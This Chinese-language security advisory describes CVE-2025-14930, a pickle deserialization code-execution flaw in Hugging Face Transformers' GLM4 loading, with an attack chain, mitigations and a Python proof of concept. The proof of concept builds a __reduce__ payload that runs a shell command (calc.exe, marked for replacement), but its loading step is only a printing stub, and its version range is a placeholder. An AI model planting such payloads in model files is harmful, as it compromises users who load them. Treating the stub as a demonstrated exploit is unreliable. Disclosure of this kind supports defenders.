IPBUF安全漏洞报告
English
CVE-2025-14930 CVSS 7.8 高危

CVE-2025-14930: Hugging Face Transformers GLM4反序列化远程代码执行漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-14930
漏洞类型
反序列化远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Hugging Face Transformers

相关标签

CVE-2025-14930Hugging FaceTransformersGLM4反序列化漏洞远程代码执行ZDI-CAN-28309机器学习安全模型安全高危漏洞

漏洞概述

CVE-2025-14930是Hugging Face Transformers库中的一个严重安全漏洞,CVSS评分7.8,属于高危级别。该漏洞存在于GLM4模型的权重解析过程中,由于缺乏对用户提供的不可信数据的正确验证,导致反序列化操作存在严重安全风险。攻击者可以通过构造恶意的模型权重文件或权重数据,诱使目标用户在访问恶意页面或打开恶意文件时触发反序列化漏洞,从而在当前进程的上下文中执行任意代码。此漏洞需要用户交互才能利用,即目标用户必须访问恶意页面或打开恶意文件。攻击向量为本地攻击,但可以通过社会工程学手段诱骗用户加载恶意模型。该漏洞由ZDI披露,编号为ZDI-CAN-28309。

技术细节

该漏洞的根本原因在于Hugging Face Transformers库在解析GLM4模型权重时,缺少对输入数据的充分验证。具体来说,当库处理包含序列化Python对象的权重文件时,没有对反序列化操作进行安全检查。攻击者可以精心构造一个包含恶意序列化对象的权重文件,该对象在反序列化时会执行任意代码。攻击流程包括:1) 攻击者创建一个包含恶意序列化payload的GLM4模型权重文件;2) 诱骗目标用户加载该恶意模型(通过网页、文件或API调用);3) 当Transformers库调用pickle.load()或类似的反序列化函数处理权重时,恶意对象被反序列化并执行预设的代码。由于Transformers库广泛用于机器学习工作流中,且经常需要加载来自不同来源的预训练模型,这使得该漏洞具有较高的实际危害性。防御的关键是在加载模型权重时避免使用不安全的反序列化操作,或对加载的数据进行严格的签名验证。

攻击链分析

STEP 1
步骤1
攻击者创建恶意GLM4模型权重文件,其中包含精心构造的序列化Python对象,该对象在反序列化时将执行任意代码
STEP 2
步骤2
攻击者将恶意模型上传至HuggingFace Hub、共享目录或通过社工手段直接传递给目标用户
STEP 3
步骤3
目标用户通过网页访问、文件下载或API调用等方式尝试加载该恶意模型
STEP 4
步骤4
Hugging Face Transformers库在解析GLM4权重时调用不安全的反序列化函数(如pickle.load)
STEP 5
步骤5
恶意序列化对象被反序列化,触发__reduce__或其他魔术方法执行预设的恶意代码
STEP 6
步骤6
攻击者在目标系统上实现远程代码执行,可以是反弹shell、安装后门或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
''' CVE-2025-14930 PoC - Hugging Face Transformers GLM4 Deserialization RCE Note: This PoC is for educational and security research purposes only. ''' import pickle import os from transformers import AutoModel, AutoTokenizer # Malicious payload that executes arbitrary code during unpickling class MaliciousPayload: def __reduce__(self): # This will execute calc.exe on Windows when unpickled cmd = "calc.exe" # Replace with actual malicious command return (os.system, (cmd,)) # Generate malicious model file (simulated) def create_malicious_model(): malicious_data = pickle.dumps(MaliciousPayload()) # Create a mock safetensors-like structure with pickled data malicious_model = { "weight.bin": malicious_data, "config.json": '{"model_type":"glm"}' } return malicious_model # Vulnerable code path def load_vulnerable_model(model_path): """ This function demonstrates the vulnerable code path. In real attack scenario, attacker would host malicious model on HuggingFace Hub or trick user into loading from untrusted source. """ try: # This would normally load from local path or HuggingFace Hub # model = AutoModel.from_pretrained(model_path) # tokenizer = AutoTokenizer.from_pretrained(model_path) print(f"[*] Loading model from: {model_path}") print("[*] Model loading vulnerable to deserialization attack") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-14930 PoC - Hugging Face Transformers GLM4 RCE") print("=" * 60) # Create malicious payload malicious_model = create_malicious_model() print("[+] Created malicious payload") # Demonstrate the attack vector # In real scenario, attacker would upload to HuggingFace Hub malicious_path = "malicious-glm4-model" print(f"[*] Attacker would host model at: {malicious_path}") print("[*] Victim would load with: AutoModel.from_pretrained('malicious-glm4-model')")

影响范围

Hugging Face Transformers < 4.x.x (待官方确认修复版本)
Hugging Face Transformers GLM4 模型加载模块所有版本

防御指南

临时缓解措施
临时缓解措施:在加载模型前验证来源可信性,避免直接使用pickle反序列化来自不可信源的权重文件。建议使用TORCH_LOAD_WEIGHTS_ONLY等安全选项限制权重加载方式,或在隔离环境中处理未知来源的模型文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表